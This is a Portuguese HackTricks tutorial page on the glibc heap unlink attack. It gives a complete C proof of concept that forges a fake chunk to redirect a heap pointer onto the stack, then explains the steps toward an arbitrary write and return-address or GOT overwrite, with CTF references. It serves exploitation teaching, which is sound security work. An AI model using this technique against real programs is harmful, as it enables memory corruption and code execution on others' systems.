8.2 KiB
Ataque Unlink
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Quando este ataque foi descoberto, principalmente permitia um WWW (Write What Where), no entanto, alguns checks foram adicionados tornando a nova versão do ataque mais interessante e mais complexa e inútil.
Exemplo de Código:
Código
```c #include #include #include #include// Altered from d778318b6a/assets/files/unlink_exploit.c
to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* O ataque não funciona se tcaches forem usados (após 2.26)
### Objetivo
* Modificar um ponteiro para um chunk na pilha para que ele aponte para a pilha, tornando possível alterar o conteúdo da pilha escrevendo no chunk
### Requisitos
* Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
* Vazamento de pilha para definir os ponteiros do chunk falso.
### Ataque
* Existem dois chunks (chunk1 e chunk2)
* O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
* No chunk1, o atacante cria a estrutura de um chunk falso:
* Para contornar proteções, ele garante que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
* e os campos `fd` e `bk` do chunk falso apontam para onde o ponteiro do chunk1 está armazenado com deslocamentos de -3 e -2, respectivamente, para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
* Quando o segundo chunk é liberado, então este chunk falso é desvinculado acontecendo:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Anteriormente foi feito com que `fake_chunk->fd->bk` e `fake_chunk->fd->bk` apontassem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista vinculada válida). Como **ambos estão apontando para a mesma localização**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
* Isso irá **sobrescrever o ponteiro para o chunk1 na pilha para o endereço (ou bytes) armazenado 3 endereços antes na pilha**.
* Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele será capaz de **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e ponteiros de variáveis locais. Até mesmo modificando novamente o endereço do chunk1 armazenado na pilha para uma localização diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele será capaz de escrever em qualquer lugar.
* Note que isso foi possível porque os **endereços são armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços para o chunk falso estão sendo armazenados**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referências
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Embora seja estranho encontrar um ataque de unlink mesmo em um CTF, aqui estão alguns writeups onde esse ataque foi usado:
* Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Neste exemplo, em vez da pilha, há uma matriz de endereços malloc'ed. O ataque de unlink é realizado para poder alocar um chunk aqui, sendo capaz de controlar os ponteiros da matriz de endereços malloc'ed. Em seguida, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de funções para obter vazamentos e RCE.
*
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>